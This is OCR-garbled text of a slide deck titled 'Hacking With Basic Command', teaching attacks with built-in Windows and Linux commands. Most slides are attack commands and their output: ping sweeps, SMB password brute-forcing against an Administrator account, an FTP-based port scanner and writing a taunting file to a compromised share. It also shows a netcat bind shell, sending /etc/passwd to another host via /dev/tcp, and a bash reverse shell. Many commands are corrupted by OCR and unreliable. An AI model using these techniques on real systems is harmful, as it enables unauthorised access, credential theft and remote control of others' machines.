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Hacking With Basic Command

Presented :
Dedi Dwianto

[theday@echo.or.id]
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Scenario

Windows Command-Line Hacking
Netcat

Linux Commnad-Line Hacking
Q&A
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Scenario

Firewall

Internet

e-rdc.org 2008
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Windows Command

Finding Others Machines
SMB Sessions

FOR Loops

Password Guessing

Port Scanner

File Transfer
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Finding other machines
C:\>ipconfig /displaydns

C:\>arp —a

C=“Documents and Settings“Administratorrarp -a

Interface: 192.168.114.18 —— Bx18883
Internet Address Phyzical Address Tupe
192 .168.114.1 AA-50-56—cA-AR-A1 dynamic
192 .168.114.3 B8-Ac—-29-5h—8e—Be dynanic
192 .168.114.4 AA-Ac—-29-Ff5-46-58 dynamic

C=sDocuments and Settings“Administrator>
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Setting up smb sessions

Set up session with a target

Mount a Share on a target :
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Dropping smb sessions

Windows only accept one username at a time only
Drop SMB Session

Drop All SMB Session
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. FOR Loops

* Common Option for Hacking
* FOR/L : Loop through a range of numbers
* FOR/F: Loop through items in a text file
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FOR /L Loops

* FOR/L loops are counters :

* Simple Counter
c:\> for /L %i in (1,1,255) do echo %i

o] CAWINDOWS \system32hemd. exe Eﬂ

~Documents and Settings“\Administrator>for ~L xi in <1,.1.255> do echo xi

S“Documents and Settings“AdministratorXecho 1

:~Documents and Settings“Administrator>echo 2

»Documents and Settings“Administrator>echo 3

“Documents and Settings“Adminisztrator>echo 4

Documents and Settings“Administrator>echo 5

~Documents and Settings“~Administrator>echo &

~Documents and Settings“AdministratorXecho 7

sSDocuments and Settings“AdministratorXecho 8
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Run Multiple Command
[command1] & [command?2]

Run Command1 and Run Command?2 if Command1 run without
error
[command1] && [command?2]
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FOR-oops : Handling Output

* Redirect to nul : > null

Redirect to file ;: >filename

Output find string : | find “[string name]”
Redirect Error Message : [command] 2>null or [command] 2>>file
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pIe Sweep Ping

wJDocuments and Settings“Adminisztratori>for ~L #i in ¢€1.1.255%> do @ping —n 1 192

.168.114_%i | find "Reply"
eply from 192_168.114.1: bytes=32 time=1msz TTL=64
eply from 192_.168.114.3: buytes=32 time<ims TTL=64

e | CAWINDOWSsystem 3 2emd. exe

eply from 192.168.114.4: hytes=32 time<ims TTL=128
egly from
gl "

sJDocuments and Settings“Administratori_

122.168.114.18: bytes=32 time<ims TTL=128
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. Loop through text

+I'\ laVYal e L\I\ L]
« €

—_ \J LI Is

_ Command
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Passd Guessing with FOR /F

Password Guessing via SMB
You know Username
Password list from John the Ripper’'s password.|st
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e+ | Command Prompt - pause

G 2HO OFEDOA

sor AF 1 in o istempespaszsword.lst) do Pecho #i & Bnet use ~~192_168_114_4
(1 SutAdministrator 2>nul && pause && echo Administrator i >> done.txt

fcomment :
fcomment :
fcomment :
fcomment :
fcomment :
fcomment :
fcomment :
fcomment =
12345
abcl23
password
computer

asswordl23
he command completed successfully.

Press any key to continue . . . _

!i done - Motepad
File Edit Format Wiew Help
administrator :passwordlZ3




TR AT HO OrHO=

srname & Password

G uessing
Guees each passwiyyf [ct Ié]aciFL@Rmf F

We need 2 file username & password list

2 variable %u and %p for username & password
Use net use for try SMB session

Drop SMB if success Login
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&| Command Prompt

isor AF xu in (cistempesuser.txt) do B(for AF #p in <ctemperpassword. txt) d—]
Becho »u = »p & @Enet uwuse ~~192.168.114.4 »p Au:xu 2>nul && echo »u - xp >> don
txt && net use ~~192.168.114.4 deld

empe = guerty

EMmpe 123

enpe HHXK

emnpe mone

Emﬂe testy B done - Motepad

enpe carmen : : :
enpe mickey File Edit Format Wiew Help

empe secret . .
enpe @ sumner Tempe @ cantik

empe passwordl23 dudg1_ : dudul

empe : tempe Administrator @ passwordlZs
enpe dudul

internet

service

gqueprty

123

HHK

money

test

carmen

mickey

secret

summe

passwordl?d

udul tempe

udul dudul

he command completed successfully.

~192.168.114.4 was deleted successfully.

empe
EMmpe
udul
udul
ndul
udul
udul
ndul
udul
udul
udul
udul

udul = internet

udul - service
dministrator : gquerty
dministrator = 123




Windows Port Scanner With FTP Client

Windows FTP Client C:\> ftp [IpAddress]
Using —s option FTP for ready from file : c:\>ftp —s:[filename]

We'll write a loop that generate FTP command file and invoke FTP
to run from that command

Store the result
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¢+ | Command Prompt - fip -s:fip.txd

G 2HO OFEDOA

sxor AL #i in €1.1,.1824> do echo Checking Port i 2> ports.txt & echo open 1—
2.168_114.2 »i > ftp.txt & echo guit >>fFtp.txt & ftp —=s:-ftp.txt 2>>ports_txt

:~echo Checking Port :1

& echo quit 1>>Ftp.txt
tp> open 192.168.114.2 1
tp> guit

1>>ports.txt

:~>echo Checking Port :2

& echo quit 1>>Ftp.txt
tp> open 192.168.114.2 2
tp» guit

1x>ports.txt

:»»echo Checking Port :3
& echo quit 1>>Ftp.txt
tp> open 192_168.114.2 3

1>>ports.txt

& ftp —s:ftp.txt

& ftp —s:ftp.txt

& ftp —s:ftp.txt

1*ftp.tx

& echo open 122.168.114.2 1
2>>ports _txt

&% echo open 122.168.114.2 2
2>>ports _txt

1>ftp.tx

& echo open 1722.168.114.2 3 1>ftp.tx

2>rports _txt

File  Edit

= Ttp: connect :unknown
Checking Port :15

= Ttp: connect :Unknown
Checking Port

= ftp: connect :Unknown
checking Port :17

= ftp: connect :unknown
Checking Port :18

= Ttp: connect :unknown
Checking Port :19

» Ttp: connect :unknown
Checking Port

= Ttp: connect :Unknown
Checking Port :21

Login failed.

Format  Wiew Help

number
numbear
numbear
number
number
number

number|




Windows Command Line File Transfer

* Use Windows File & Printer Sharing
* Redirect to Share folder :

* Login to SMB Session take from Password Guessing
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¢ | Command Prompt !EE

wrnet use SS172.168.114.4 passwordl23 Au:Administrator
he command completed succeszfully.

tvnecho Hello Dude.We Own Your Box 1ol > ~~192.168.114_4~CHouwn.txt
-

rosoft Wind

m sion 5.90.21951
Copuright

i ows
c 1985 rosoft Curp.

Mic
(Co
Ci~r»ipeconfig
Windows 2000 IP Configuration
Ethernet adapter Local Area Conmnmection:

Conunection- speclflc DNS SuFle .
IPF Address. . H

. . . .  192.168.114 .4
Subnet Mask e s e s e e e s . v o255 255 255 .9
Default Gatewag . . . . . . . . . i 1&82.168.7114.1

tHBE own.txt
ude e Owun Your Box :lol
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Netcat

 TCP/UDP Network Widget
« Standard In and Send It across the network
* Receives data from network and put it to standard out

Std In Send Packets

L ]
NETCAT
Std Out — Receives Packets

R
Std Errord

SYSTEM NETWORK
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[8tcat Functions

Send File

Port Scan

Backdoor Shell Access

Connect to Open Port

Simple Chats

Replay Data in TCP/UDP Packets
Etc ...
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Windows Backdoor

[theday@pvs@7 tmpl]$ telnet 192.168.114.10 2222
Trying 192.168.114.16...

Connected to 192.168.114.10 (192.168.114.10).
Escape character is '~]'.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\tempe> ¢»| Command Prompt - nc -1 -p 2222 -e cmd.exe

sstempedne —1 —p 2222 —e cnd.exe




Command Line
Hacking

* /dev/tcp/
* Open Connection to Other Machines
* Like Connect Back Shell

/dev/tcp/[IPAddress]/[Port]

theday@pvs@7 tmp]$ cat fetc/passwd = /dev/tcp/192.168.114.160/2222
theday@pvse7 tmpls |

e | Command Prompt

ntempeinc -1 —p 2222
oot :x:@:@:-poot = root: - binsbaszh
i 11 :thin:z/hini/shinsnologin
ix:2:2:daemon:zsshin-/zhinsnologin
dm:x:3:4:adm: varsadm:zhin/nologin
1p:x:4:7:1p:svar-spools1lpd: shin/nologin
ync:ix:5:@:sync: shin: hinssync
hutduun x h:@: Fhutduun /“hln sehinsshutdown

8 12 ma11 /uarfﬂpuulfmall sehinsnologin
s ix:?:13inewsisetesnews:
lucp ix:18:14:uucp: svar~spool-uucp: sshinsnologin

operator:x:ll:B:operator: root:r shins/nologin
games :x:12:108: games : Ausrs/games - shin/nologin
gopher:x:13:38:gopher: var-gopher: - shinsnologin
Ftp:x:14:58:FTF User: vars-ftp: shin nologin
ohody:x:92:99:Nobody:/:/shin/nologin
pm:ix:3?:3Y s ovarslibAsrpm:/shinsnologin
bus:=x:81:81:5ystem message bus:/:/shinsnologin
vahizx=7A:7A:Avahi daemon:/: shin nologin
ailnull:x=47:47: i /vars-spool/mgueune : “shinsnologin
mmsp=x=51:51 1 /var/spool/mgueune : “shinsnologin
tpix:3B:3B: s eto/ntpisshinsnologin
pache:x:48:48 :Apache : /var/vwuwuw: /shinsnologin
scdix:28:28:NSCD Daemon:/:/shin/nologin
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B?a orlng via /dev/tcp

/bin/bash -i > /dev/tcp/[lp]/[port] 0<&1

Command Execute

Iy
,
3

Type Command
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theday@pvs@7 tmp]$ /bin/bash -1 = /fdev/tcp/192.168.114.10/80 O<&l 2>&1

¢ Command Prompt - nc -1 -p 80 !EE

sstempeinc -1 —p 88

18;thedayPpuesA7: tmplthedayPpesA? tmpl% ids;uname —a

1id=588Ctheday? gid=5%8A0<theday? groups=50ACtheday>
Linux puvs@Y.dedidwianto.or.id 2.6.18-722_el15 #1 SMP Tue Jun 18 18:49:47 EDT 2008
i686 i686 i386 GMU-/Linux

18;thedayBpusB7: tmplthedayPpusA7 tmpls _
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THANK YOU
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